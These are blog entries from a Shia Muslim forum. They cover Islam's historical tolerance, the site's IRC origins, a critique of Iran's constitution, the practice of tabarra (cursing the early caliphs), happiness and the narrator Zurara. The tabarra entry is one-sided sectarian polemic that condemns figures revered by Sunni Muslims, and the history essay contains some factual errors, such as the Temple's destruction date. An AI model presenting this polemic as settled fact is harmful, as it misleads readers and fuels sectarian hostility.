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  1. بسم الله الرحمن الرحيم

               

                Not only is Islam the second-largest religion in the world, but it is the world’s fastest growing religion. With globalization and the influx of Muslim immigration to the West, many people are reluctantly meeting Muslims for the first time. Fear of the unknown is common, but that fear is constantly perpetuated by images of violence in the Muslim world. As a visible minority with little political leverage, the Muslim community is an easy target for xenophobes, warmongers, and nationalists. The Muslim world is the needed bogeyman for the military-industrial complex, private security companies, and isolationist politicians to thrive. Rather than trying to understand the complex imperial and economic variables that cause violence in the Muslim world, it is both simpler and more cunning to resort to generalized arguments about Islam. This view, however, overlooks the many scientific and philosophical contributions Muslims have made to Western civilization. More importantly, it distorts the reality of the Muslim civilization’s mostly-tolerant history. The centuries-old narrative that Islam was “spread by the sword” is still popular today, and it causes Muslims living in the West to be looked at as a suspicious Trojan horse waiting to Islamize the world. It is therefore necessary for us to deconstruct this worldview. This paper will briefly explore the rise and expansion of Islam, and demonstrate that tolerance and plurality were founding principles of Islamic ethics.

                Since the early days of the Prophet Muhammad’s ministry, Islam’s relationship with non-Muslim communities has been notable. Shortly after the Muslim migration to Medina (then known as Yathrib) in 622 CE, the Prophet drafted the Constitution of Medina. This charter put an end to tribal infighting in Medina, created a new judicial system, guaranteed the mutual protection of Muslims and non-Muslims, and established a new “Community of Believers (mu’mineen)”. (Gil, 2004, pp. 21) This community would include the Jewish tribes of Medina, while still recognizing their distinct identity and laws. Although Bernard Lewis claims that the Constitution of Medina was a unilateral proclamation by Muhammad, (Lewis, 1993, pp. 22) Muslim sources generally referred to it as a pact between the Muslims and the Jews following the two pledges at `Aqaba. Furthermore, Wellhausen, a German orientalist, regarded this charter to be a multilateral agreement negotiated between all of the involved groups. (Gil, 2004, pp. 22)

                The Prophet Muhammad also ratified writs of protection to other communities. The Ashtiname of Muhammad, which was written by `Ali b. Abi Talib upon the commission of Muhammad, granted privileges to the Christian monks of St. Catherine’s Monastery in Egypt. (Ratliff, 2012, pp. 63) The document guarantees that Christians are not to be overtaxed, plundered, disturbed, or coerced into marriages. (Morrow, 2013) These covenants demonstrate that the Prophet pursued a peaceful and tolerant coexistence with other communities, and made his followers accountable to ethical principles of justice.            

    The Prophet Muhammad very plainly stressed the equality of all people, regardless of tribe, colour, class, or ethnicity. While rights differed among subgroups of society, the Islamic civilization held no concept of the natural subordination of individuals or groups. (Hamid, 1982, pp. 127) Conversion to Islam only required a simple declaration of faith, while becoming a member of the ancient Greek polity was only possible for Greek male property owners. (Hamid, 1982, pp. 127)  The egalitarianism of the Quranic message was attractive to many who sought social refuge from the caste system and other forms of subordination. (Eaton, 1992, pp. 117)

    The Caliphate’s medieval conquests, which occurred after the Prophet Muhammad, are the main source of agitation among those suspicious of Muslims. It should be noted that `Ali b. Abi Talib, who is considered the rightful successor to Muhammad by Shia Muslims, refrained from taking part in these conquests, despite being renowned as a great warrior. There should be no doubt that there were incidents that occurred during early expansion that are not in line with the teachings of the Prophet, especially during the ridda wars and the Battle of `Ulays. The Shia Imams consistently held the Caliphate accountable during mistrials and in moments of nepotism; and they struggled to establish social and economic justice in the Muslim world. But, the frame that the Islamic conquests were wholly or mostly negative is a Eurocentric view that does not account for other pieces of the puzzle.

                Many ancient texts document extensive Judeo-Christian support for the Muslim conquests of Byzantium and Persia. Jews in the Levant had expected a redeemer who would deliver them from the Roman occupiers. (Crone, 1977, pp. 3-6) The Romans had destroyed the Jerusalem Temple in 134 CE, outlawed Jews from living within ten miles of Jerusalem, disbanded the Jewish high court, taxed the Jews heavily, and persecuted them for siding with the Persians. This torment ignited a messianic fervour among medieval Jews, leading to a widespread anticipation of a saviour. One of the earliest non-Muslim references to the rise of Islam is the Doctrina Jacobi, a Greek Christian anti-Jewish polemical text written in 634 CE, just two years after the passing of Prophet Muhammad. The text describes “overjoyed” Jews celebrating the Muslim arrival in Byzantium. (Crone, 1977, pp. 3) Moreover, The Secrets of Simon ben Yohai, a Jewish apocalyptic text written between the seventh and eighth centuries CE, tells of the emergence of an Ishmaelite “prophet according to God’s will” who would save the Jewish people from their oppressors. (Crone, 1977, pp. 4-5)

    The Islamic conquest of the Levant would restore Jewish access to Jerusalem and establish a polity that would include Muslims, Christians, and Jews alike. The Pact of Umar II, a writ of protection extended by `Umar b. `Abd al-`Aziz in the seventh century, promised safety and the right to worship to Jews, Christians, and Zoroastrians in exchange for the payment of the poll tax (jizya). (Berger, 2006, pp. 88) While some orientalists have criticized the Pact’s prohibition on riding horses, Muslim clothing and building high structures, these stipulations may have been placed to prevent insurrections against Muslim garrisons, rather than to humiliate or subordinate non-Muslims.

                The Muslim treatment of non-Muslims was similarly commended by Near Eastern Christians. John bar Penkaye, an East Syriac Nestorian writer of the late seventh century, praised the Muslim overthrow of the Sassanid dynasty. In his Summary of World History, he writes, “We should not think of the advent [of the children of Hagar] as something ordinary, but as due to divine working. Before calling them, [God] had prepared them beforehand to hold Christians in honour, thus they also had a special commandment from God concerning our monastic station, that they should hold it in honour … God put victory in their hands.” (Pearse) This early Christian account documents the just conduct of Muslim rulers, likening it to divine intervention. Furthermore, after the Byzantines had seized control of Egypt and put the Coptic Patriarch Benjamin I of Alexandria into exile, the Muslim conquerors restored Benjamin I’s authority and brought order to the affairs of the Coptic Church.

    Many cultures were drawn to Islam’s magnetic social appeal. Indonesia, which is the country with the highest population of Muslims, encountered Arab merchants in the thirteenth century. Along with the arrival of Muslim commercialism, Islamic stories and symbols were introduced to the population through traditional wayang puppet shows. (Hamish, 2011, pp. 46-51) In the Indian subcontinent, Islam provided social mobility to lower castes, giving people equal rights and freeing them from total subservience to the Brahmans. The transformative power of Sufism was also attractive to many Hindus who sought ascetic, mystical brotherhoods. (Lapidus, 1988, pp. 363) Sufi and Shia saints continue to be revered by Hindu and Sikh poets in India.

    Although the Muslim empires had a tumultuous relationship with European Christians over the centuries, sizable Christian and Jewish communities with ancient origins continued to thrive in the Muslim world. Moorish and Ottoman confrontations with Christendom have propelled the misconception that Islam was spread by the sword. The fact is, however, that the conversion of the Near East to Islam occurred very gradually. By 800 CE, only 18% of Iraq’s population was Muslim. (Brown, 2016) Furthermore, Egypt, Spain, and the Levant did not attain a Muslim majority until the eleventh century. (Brown 2016) This means that the Muslims were a minority in the heartlands of their own civilization for hundreds of years. While poll taxes and other social pressures certainly promoted conversion to Islam, ancient churches, synagogues, temples, and other relics were maintained. Judeo-Christian populations even had rights to printing presses and European books in the Ottoman Empire – a privilege rarely granted to Muslims. (Brown, 2016) 14% of the Middle East remained Christian by 1910, with significant populations in Syria, Palestine and Egypt. (Brown, 2016)

    On the other hand, Christendom had a relatively poor record with minorities. Although Iberia was mostly Muslim in the fifteenth century, all Muslims were expelled or forced to convert to Christianity in 1526. (Brown, 2016) In 1609, 3-4% of Spain’s population consisted of Christian descendants of Muslims, who were also expelled under King Philip the Third. Anti-Jewish pogroms were also common in pre and post-Enlightenment European history. While there are many ancient Christian communities in the Muslim world, there are practically no ancient Muslim communities in the Christian world, despite Islam’s long history in Spain, Portugal, Sicily, and Eastern Europe.

                In recent decades, the Muslim world’s relationship with its non-Muslim minority communities has suffered. Colonialism, neo-imperialism, military dictatorships, and poor economies have sometimes caused the alienation and scapegoating of ethnic and religious minorities in the Muslim world. In June 2014, the so-called Islamic State of Iraq and the Levant (ISIL), which rose out of the destabilization of Iraq and Syria, routed Christians out of Mosul. This genocide marked the end of over a thousand years of continuous Muslim-Christian coexistence in the region. While ISIL’s actions are a black mark on modern Islamic history, ISIL’s main military and ideological opponents are other Muslims in the region and around the world. This paper demonstrates that normative Islam seeks unity under common ethical principles. It is vital for Muslims to revive an equitable, pluralistic and tolerant worldview, not just because diversity is strength, but because it is the ethos of our civilization.           

     

    Bibliography

    Berger, Julia Phillips., and Sue Parker. Gerson. Teaching Jewish History. Springfield, NJ: A.R.E. Pub., 2006. Print.

    Pearse, John Bar Penkaye, Summary of World History (Rish Melle) (2010). N.p., n.d. Web. 9 July 2016.

    Crone, Patricia, and Michael Cook. Hagarism: The Making of the Islamic World. Cambridge: Cambridge UP, 1977. Print.

    Http://www.youtube.com/channel/UC4L23Z_agh1qeV_odQfV6Vg. "Dr. Jonathan AC Brown - The Message of Peace Spread by the Sword - UMaine IAW 2016." YouTube. YouTube, 2016. Web. 9 July 2016.

    Eaton, Richard Maxwell. The Rise of Islam and the Bengal Frontier, 1204-1760. Berkeley: U of California, 1993. Print.

    Gil, Moshe, and David Strassler. Jews in Islamic Countries in the Middle Ages. Leiden: Brill, 2004. Print.

    Harnish, David D., and Anne K. Rasmussen. Divine Inspirations: Music and Islam in Indonesia. New York: Oxford UP, 2011. Print.

    Lapidus, Ira M. A History of Islamic Societies. Cambridge: Cambridge UP, 1988. Print

    Lewis, Bernard. The Arabs in History. Oxford: Oxford UP, 1993. Print.

    Morrow, John A. The Covenants of the Prophet Muhammad with the Christians of the World. N.p.: n.p., n.d. Print.

    Ratliff, Brandie, and Helen C. Evans. Byzantium and Islam: Age of Transition, 7th-9th Century. New York, NY: Metropolitan Museum of Art, 2012. Print.

    ʻInāyat, Ḥamīd. Modern Islamic Political Thought. Austin: U of Texas, 1982. Print.

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    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives]

    Part 1 - The IRC (#Shia) Days!

    Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all. 

    In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress.

    Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today).

    For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old.

    In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name.

    The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way.

    A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com.

    [More to follow, Part 2..]

    So who here is still around from the good old #Shia IRC days?

     

     

     

  2. بسم الله الرحمن الرحیم

    السلام علیکم



    Old Mass, New Form (1)

     

    I turn to criticise the second group that has tried to bridge the gap of centuries: the modernising state. Case study: the Islamic Republic of Iran.
    Now, to speak of criticising Iran on this forum tends to upset many people, who quickly become defensive. Supporters of the Iranian system tend to defend Iran, but in reality they are defending something else. They are defending the Wali Faqih, Sayyed Ali Khamenei. There is an unfortunate identification of Iran with Wali Faqih, even though there is much more involved in Iranian governance than the will of the Wali Faqih. Thus, to criticise Iranian governance does not automatically translate into a criticism of Wali Faqih, although given the socio-political prominence of the Wali Faqih, it is impossible and disingenuous to ignore his role in the way Iran has been governed so far. The corruption of lower officials and institutions may taint the hem of his robe if he cannot account for his management of the system. But as it happens, my criticism of Iran is not targeted at the Wali Faqih. It is not the failings of Wali Faqih that I wish to highlight. The Wali Faqih is only one piece of a jigsaw that is riddled with contradictions and deficiencies: the Constitution of the Islamic Republic of Iran. It is the medley nature of that Constitution that has failed to implement Islamic ideals in a harsh modern reality.

    Recall the first group who tried to secure Islamic ideals in the modern world by preferring modern laws in place of Islamic laws wherever the two came into conflict, but retaining Islamic belief in God and the afterlife and the practice of private rituals. They fail at least for two reasons. First, because they compromise Islam without proving from the texts of Islam that such compromise is permissible - for example, they get rid of legal difference in gender without showing that Islam supports such legal evolution - it's merely copy-pasting both the law and the justification of the law from the dominant powers. Second, because the result of such a compromise does not achieve the whole point of the exercise, which is not to have a frictionless modern existence, but to have a fruitful modern existence, spiritually and financially. Becoming a welcome member of the modern system of exploitation and degradation is not the point of this "bridging the gap of centuries". We want a foot firmly on Islamic turf, where the earth is dried up but the dying trees have goodness still hanging on their branches, and a foot firmly on modern ground, where the soil is fresh and ready to receive the ancient seed.
    Enter then the second group, who hold more firmly on the ideals passed down by tradition, but equally embrace the technological prowess of the modern state and hope to use the powers of the state to manage a world in which both spirit and wallet may grow. The best case, especially for the Shi`a, is the Islamic Republic of Iran. But just as the first group failed for compromising ideals and copy-pasting the law and the justification and not achieving the goals, the second group fails for the same reasons. So here is a short list of ideals compromised, law and policy copy-pasted, and goals unachieved.

    Let's look at this economically, environmentally, socially, and politically.  

    Economically, some notable Maraji` have come clean saying what everybody already knew, that the banks deal in Ribā; corruption scandals have greatly increased in the last eight years and the embezzlement has reached numbers unimaginable in the Pahlavi era; non-transparent institutions that are less open to parliamentary scrutiny, like the army and the bonyads, own great swathes of the Iranian economy; there is a total dependence on oil; government has bailed out failing companies of the highest order like the car-manufacturer IranKhodro, evidencing an ill-economy; there is a dearth of rail transport and a fleet of grounded aeroplanes that desperately need spare parts to become functional again; in Teheran, the traffic system is so disorganised and badly managed that literally hours are wasted in a traffic jam, and time is money, and wasting time is wasting money; unemployment is at a record high and continues to grow, and many employed people need to take two jobs simultaneously to make ends meet.   
    Environmentally, the drying up of Iran's largest lake, Urumié Lake has been seen as a national disaster; the unbearable pollution of Teheran and major cities has been another effect of the infamous traffic; the Wali Faqih has on a number of occasions denounced the deforesting of Iran's precious little forest; the housing architecture is moving fast away from humane living spaces to high-rise apartment blocks where people are packed like sardines.    
    Socially, we see a growing gap between rich and poor, perhaps best encapsulated when Milad Tower offered its Nouveau Riche regulars ice-cream sprinkled with real gold, while reported statistics for people living under the line of poverty range from 11 million (over 14%) to 30 million (over 40%); the country's benefit system is obviously unjust, not directing the money to the poorest in society but spreading it across all levels; nepotism at the highest level of government has been a consistent feature, with major posts or projects or industries being handed over to family members, friends or close associates; almost one in every four marriages end in divorce, which is a travesty for a society that claims divorce shakes the throne of God; Western-inspired rap and pop music is growing, and some of these have even been authorised by the authorities, because they sing in support of the political system; a cursory comparison of hijab in the early days of the Revolution with the current scene shouts a failure of the media and the cultural institutions and the moral police, the "Komité" (Committee) and the "Gasht-e Ershad" (Guidance Patrol) to educate on hijab.
    Politically, despite its claims of cultural autonomy, the Constitutional programme is almost entirely a copy-paste of Western models, hurriedly compiled: the separation of powers, the elections, parliamentary procedure, the checks and balances, the system of the courts, the central bank, are all transplanted directly from the Enlightenment without any homegrown analysis, any innovative argument, any historical study. The Guardian Council filters out hundreds of candidates it considers ineligible without being held accountable by the system or by the public. There is a closed loop in the Constitution whereby a future Wali Faqih can, potentially, become a dictator, because the group with the power to supervise and dethrone the Wali Faqih is the Assembly of Experts, which consists of candidates the Guardian Council has approved of, and the clerical half of the Gaurdian Council is selected directly by the Wali Faqih, and so it is possible for a future Wali Faqih to handpick the Assembly of Experts indirectly by selecting loyal and strict Guardian Council members. The army interferes, not only in economics, but also in government policy, and the judiciary interferes in government policy, which seriously undermine the loyalty of the army to the government of the day as well as the independence of the judiciary. The Constitution has failed to resolve these tensions in a way that clarifies the jurisdiction of each institution.
    These are just a handful of diseases plaguing the Islamic Republic.

    In short, we have an opaque, strained, tangled, and corrupt organism which struggles to be taken seriously as an Islamic model, but falls very below the bar set in our holy texts. The Constitution - theoretically problematic, practically ineffective, and mostly copy-paste - has created a State that can withstand the world oppressors for years on end, but succumbs to the economic, environmental, social, and political oppressions in its own land. The Constitution is like a vehicle with two gears, one set on seeking modern goods fast, and the other in Reverse, against the tide of modern ills, and the foot is fully down on the accelerator. This is very dangerous for the Islamic Republic. Either the vehicle is about to tear in the middle, or one gear has to give way with devastating results. Another similar State, similarly ideological, but far stronger, a superpower, the Soviet Union failed to improve economically (command economy), environmentally (Chernobyl, Aral Sea), socially (bureaucracy), and politically (KGB). All its bravado against the United States came to nought as it collapsed just over seven decades after its revolution. The role of a Constitution is to remove those who tyrannise over its people, the greedy banks, the bribed judges, the exploitative employers, the polluters, the criminals and the corrupt politicians. The Prophet صلی الله علیه و آله predicted الملک یبقی مع الکفر و لا یبقی مع الظلم "Kingdoms remain in spite of blasphemy, but not in spite of tyranny". The tyranny of usury, unemployment, and smog, is louder than the unceasing self-congratulation of the system.

    The hope that by an Islamic Revolution and a new Constitution, reigned over by a Faqih, the Muslims can govern in the interest of the oppressed and the spirit was clearly naive. Rather than reconciling ideals with modern reality, we see the Constitution has given birth to a quick erosion of those ideals as the ugly effects of fast-paced modernisation scar the landscape and the lifestyle. Materially, numerically more Iranians are struggling than ever since the Pahlavis began the modernisation process, and culturally, copy-paste values are as much on the ascendant today as they were then. The greatest victim of this awful, awful system is the office that had and has the most potential: the Wali Faqih.

    In the next entry of this series, I hope to share with you an insight that I believe this group and the previous group both understood and failed to comprehend. It is that insight, I think, which can lead the community forward.

     

    و علیکم السلام

  3. بسم الله الرحمن الرحیم

    اللهم صل علی محمد واله و عجل فرجهم والعن اعدائهم

    السلام علیک و رحمه الله

    Now, as you may already know, I am leaving the country for 10 days, meaning my next entry about Saint Paul and deviations in early Christianity will have to be delayed. However, I wanted to make a post about tabarra because it's an issue that is very controversial in our community. We have staunch opposers and staunch defenders. I think I made 3-4 threads on this topic, which I will find and post at the bottom of the page Inshallah. I will provide various proofs through hadith, the Quran and scholarly verdicts. I guess this is somewhat more of an opinion piece, however I have done a lot of unbiased research on this, and am quite sure there is enough proof to establish tabarra as an Islamic concept, and highly recommended. Before I start, let me say that I don't want a war in the comment section. It's really not helpful for this website. If you disagree with me, point out the exact parts which you feel are incorrect and we can discuss :)

    Terminologies

    تبرأ-Tabarra: It is from the Arabic root برء. According to the Al Maany English to Arabic dictionary, it can mean to deny, reject, disown, be absolved of and to disown. A commonly used definition is disassociation, which also works given the context. Actually, that is the definition given in the Al Maany Arabic Terms Dictionary. The word is actually used in the Quran (9:1) to describe the Prophet (saw)'s disassociation from some of the Muslims who declared an alliance with the unbelievers of Mecca. The word is also used by Allamah Muhammad Baqir al Majlisi (Haqqul Yaqeen, Volume 2, Page 591) to describe the wicked men and women we should (according to the english translation) disassociate ourselves from. However, in theory we could also use the word reject, because we do reject what our Sunni brethren believe about them. I feel the correct definition for this word in the context of this discussion is rejection. Disassociaton or absolving ourselves from them does not make sense, because simply calling ourselves Shia disassociates ourselves from them and absolves us from any affiliation with those oppressors. So in the context of this discussion and its usage in the Shia books and the Shia sect, we will use reject as the correct meaning of tabarra.

    لعنة-Lanat: This word is used many times in the Quran and in our Duas, like Ziyarat Ashura for example. In the Al Maany dictionary, the word lanat is translated as curse, however some english speaking scholars like Dr. Ammar Nakshawani, for example, state that a better way to describe lanat is as a Dua to remove mercy from someone. I have also heard many fear the word curse may become mixed up with the arabic word seb, which means to insult, which I will get to. The root word of lanat actually is لعن, and if you look up the definition of لعن in an arabic dictionary, the exact english translation will be to anathematize. If you google the meaning, it will show up as to curse, or to condemn. From this perspective I think we can view the meaning of lanat as two things.

    1. Asking Allah to send lanat upon a person or group of people. For example, allahumma al'anhuma wa ansarahuma (from Dua Saname Quraish), is asking Allah to send lanat upon this person. You are asking Allah to increase his punishment on these individuals, and for him to remove his mercy from them. The correct translation I feel for this article, as I have already shown the distinction between seb and lanat, is curse. We ask Allah to curse them with his punishment and withdrawal of his mercy
    2. Lanat as a form of Tabarra. When the names of certain la'inin (cursed individuals), you will hear the speaker say lanat ullahi ealayh (Upon him be the curse of Allah). While this is a dua against them, it also symbolizes a disassociation and rejection of the cursed individual, which is exactly the definition of tabarra. I think this also corresponds to the second meaning of anathematization, which is to condemn. While I feel the definition of tabarra is rejection, I will refer to lanat done in the way mentioned as condemnation, as in reality that is what we are doing. Openly condemning the enemies of Ahlulbayt (as)

    These are the two most important definitions you should be familiar with. Basic knowledge of Islamic history during the era of the Umarayn (3 "caliphs"), because I will be talking about rejecting, condemning and cursing those figures (without breaching SC rules nor using provocative language)

    Lanat in the Noble Quran

    Surah Hijr Ayat 35:

    And indeed, upon you is the curse until the Day of Recompense.

    As you guessed, the exact arabic word for curse in this Ayat is al'anat. A similar Ayat is found in Surah Suad Verse 28. Surah Qasas Verse 42, Surah Maidah Verse 13 and many many more include the word curse, and an article on this subject can be found here. So we know, among the many people Allah cursed, are the liars, the unbelievers, Shaitan (la) and the people of Aad. 

    Also, the first verse of Surah Taubah I would also like to mention. [This is a declaration of] disassociation, from Allah and His Messenger, to those with whom you had made a treaty among the polytheists. Now, the sense of tabarra is a little different in this Ayat. Obviously there were a group of Muslims (deviants) who made treaties with the polytheists (which we can actually consider innovation in Islam, since it was in the name of Allah and his Rasool), This Ayat says they have NOTHING to do with them. They are in NO way associated with them, and reject them completely! When we consider the bid'ah, the crimes agains the family of Hazrat Muhammad (saw), we should want NOTHING to do with the Umarayn and their associates. The ahadith which I wish to mention elaborate more on this. Before I elaborate further, to legitimize my previous point, I wish to quote page 519 of the english translation of Allameh Majlisi (ra)'s work Haqqul Yaqeen, translated by Sayed Akhtar Rizvi

    In the same way are the indictments of Muawiyah, Talha, Zubair, Ayesha, Hafasa, Bani Umayyah and Bani Abbas Caliphs and all wicked persons, heretics etc. which may also be referred to in Biharul Anwar and books of other reliable authors. 

    The translation used by certain Shi'i websites is different, which is why I will add a link (Inshallah) to a page which includes the Arabic version of this great work, so we can verify the true meaning of this quote. However, as the chapter where this is written is regarding the apostasy of Uthman, the ending quote would probably have been about disassociation and rejection of Uthman, but we will need to see the original text to be sure. Wikipedia translates it as:

    Regarding the doctrine of' Tabarri we believe that we should seek disassociation from four idols namely, Abu Bakr, Omar, Uthman and Mu'awiyah; from four women namely, Ayesha, Hafsa, Hind and Ummul Hakam, along with all their associates and followers. 'These are the worst creation of Allah. It is not possible to believe in Allah, His Messenger and the Imams without disassociating oneself from their enemies.

    So Inshallah we can double check this source. The next section of my article will be regarding the proof of cursing, condemning and rejecting the Umarayn based off of the books of hadith from both the Sunni and Shia schools.

    Sunni hadith on cursing the Umarayn

    The Sunni hadith reports do not have any record of the Prophet (saw) cursing the Umarayn, and that may not have happened in his lifetime. However, their record of Fatimah al Zahra cursing the Umarayn, who wronged and oppressed her, along with usurping her property.

    Al Imamah wa Al Siyasa by Ibn Qutaybah, Page 14

     

    Ibn Qutaybah, in al-Imamah wal Siyasah, narrates that 'Umar said to Abu Bakr: 'Let's go to Fatimah, for we have made her angry.' So they went together and asked her permission, but she denied it to them. They asked Ali to talk to her, and he did. When they entered and sat, she turned her face to the wall. They greeted her, but she did not answer. Abu Bakr said: 'O you the Messenger of Allah's beloved! I swear by Allah that the kinship of the Messenger of Allah is more beloved to me than my kinship, and you are surely more beloved to me than my daughter 'Ayshah, and I wished the day your father died that I died and did not stay after him... Do you see me, when knowing you and your virtues and honour, denying you your right and inheritance from the Messenger of Allah Õáì Çááå Úáíå æÂáå? Except that I heard your father the Messenger of Allah Õáì Çááå Úáíå æÂáå saying: We, the folk of prophets, do not leave bequests - what we leave is for alms'.

    Fatimah (as) did not comment on the inheritance issue, since she has previously dealt with that in detail in her sermon, but she wanted to establish the proof on the two of them regarding the harm, injustice and wrong-doing to which she was subjected. Hence she said: 'Can I see you if I narrate a hadith from the Messenger of Allah (sawa); you know it, will you do according to it?' They replied: 'Yes'; she said: 'I ask you by Allah, haven't you heard the hadith of the Messenger of Allah (sawa): the satisfaction of Fatimah is my satisfaction and the discontent of Fatimah is my discontent?' They said: 'Yes, we heard it from the Messenger of Allah (sawa)'. She said: 'Therefore, I take Allah and his angels as witnesses that you have made me discontented and have not satisfied me, and when I meet the Prophet I shall complain about you to him!'. Abu Bakr said: 'I take refuge in Allah from his discontent and your discontent O Fatimah!'; but she said: 'I swear by Allah that I shall invoke Allah against you in every prayer I do!

    So Fatimah (sa) would invoke Allah against Abu Bakr in all her prayers. Imploring Allah against someone. That's the definition of lanat given by scholars like Ammar Nakshawani, asking Allah to remove mercy from a specific person. So Fatimah (as) cursed Abu Bakr and Umar. The explanation given by Sunni scholars isn't that well thought over. For example, Ibn Kathir said that the anger of Fatimah (sa) is just like the anger of any other son of Adam (quoted by Shiapen). That goes contrary to the widely known hadith whoever angers Fatimah has angered me, and whoever angers me has angered Allah. And it's also widely reported in books like Bukhari and Muslim that Fatimah (sa) died angry with Abu Bakr and Umar, most likely for their usurping of the land of Fadak, and them being her killers. 

    A great article on cursing in Sunni books is found here and a good website dedicated to exposing the reality of Umar ibn Khattab is here

     

    Now, as I will be out of the country in 11 hours, I do not have time to continue this for now. Inshallah I will get back. However, I wanted, as after I do the section on Shia hadith to touch on this, what do you feel is the philosophy behing lanat and tabarra. Why did the Imams (as) emphasize so much on these concepts, what is the true meaning behind it? Write it in the comments and Inshallah Ta'ala I will incorporate it into part 2

    wasalam

  4. :salam: Brothers and sisters.

    What words you use nowadays to define happiness in this life? Do you seek to achieve it? What do you do to achieve it?

    This concept have made people go astray just to obtain it, they have quit their religion and commitment and have fallen into this trap that the western culture always point at.

    This topic is a reminder for all of us, including me, to remember the very Purpose we came here for.

    Before I became a Shia i met many individuals who always wanted to hear about the truth and always wanted to acquire this ultimate feeling that we call happiness. Only they don't understand that they can't have it in this life.

    A friend of mine used to always talk about owning a house next to a lake, work in a job that she likes, that is true happiness she says, but yet this lifestyle is temporary. She doesn't think well okay after I've done all that what is next? What is the meaning behind it?

    Or another one that used to always tell me she wants to travel the whole world and camp in every mountain, forest, valley, beach, or any outdoor place she could ever find. Imagine you have the whole money in the world and you went on to do this endless trip you talk about and then after you almost discovered every country, every civilization, you'd probably feel that life has no purpose now and you'd decide to end it. Because simply there is nothing new for you to do anymore, everything is repetitive in this life and everything is temporary.

    I had friends who quit their jobs and went on a 6months trip to India living like homeless people. When they came back they claimed that this trip changed their life, but i just didn't see it, it wasn't genuine to me. Many people go to places now, pretend to do things or even feel like they Have to do certain activities just to show the world how cool and happy they are. But trust me behind their smile they are miserable.

    Happiness is overrated, it's just some other weapon that they use against us.

    It's normal that we slip sometimes but it's important to get back up, because True happiness comes from religion and from God, and the ultimate happiness is founded in the hereafter, not here.

  5. قال أبو عبد الله عليه السلام: رحم الله زرارة بن أعين لو لا زرارة و نظراؤه لاندرست أحاديث أبي عليه السلام

    Abu Abdillah عليه السلام said: May Allah have mercy on Zurara b. A`yan, if it was not for Zurara and his peers the narrations of my father عليه السلام would have perished

    سمعت أبا عبد اللّه عليه السلام يقول: لعن اللّه زرارة!

    I heard Aba Abdillah عليه السلام saying: may Allah curse Zurara!

     

    Did the Imam Curse Zurara?

    Zurara is such an important narrator in the Madhhab. No one has narrated more narrations than him. There are more than two thousand surviving Hadiths attributed to him in our books. No surprise then to find that we have a lot of reports of praise from the `Aimma confirming his esteemed status. A bit more difficult to explain away is the not insignificant number of narrations that portray him in a negative light. These have been latched onto by polemicists who believe that they can damage the Madhhab by weakening this man who transmitted such a lot of knowledge from the `Aimma that he became a cornerstone of our Fiqh. How do we defend him? There is a reliable text preserved by al-Kashshi in his book which I believe is useful in explaining this phenomenon preserving as it does a candid assessment by the Imam of the real situation.

    The words of the Imam are indented and a relevant commentary is provided directly below each section. The  text can be accessed in its entirety here https://sites.google.com/site/mujamalahadith/vol1/book-of-narrators/zurara-b-ayan [See No. 17/172]

     

    Abdallah b. Zurara said: Abu Abdillah عليه السلام said to me: convey my salutations of peace to your father and say to him …

    The letter that the Imam dictates to this son of Zurara is done in confidence and with the expectation that no one else will come to know of its contents. It seems to have been prompted by Zurara’s grief, conveyed directly to the Imam, for censuring him to fellow companions and others, such that word reached back to him. Zurara seeks to clarify what the Imam’s true opinion of him is.

     

    I only defame you as a way of defending you, for the masses and the enemy hasten to whomever we draw near and praise his station so as to cause harm to the one we love and bring close. They accuse such a one because of our love for him and his closeness and intimacy with us, and they consider causing him harm and even killing him as justified. On the other hand, they praise every one whom we fault even if his affair is not praiseworthy. Thus, I fault you because you have become notorious as a result of your association with us and your inclination towards us, which have caused you to become blamable in the eyes of the people and your works to be looked upon unfavourably, all this because of your love for us and your inclination towards us. So I wished to fault you so that they can praise your religious stand as a result of my denigrating and diminishing you, and this becomes a way of warding off their evil from you. 

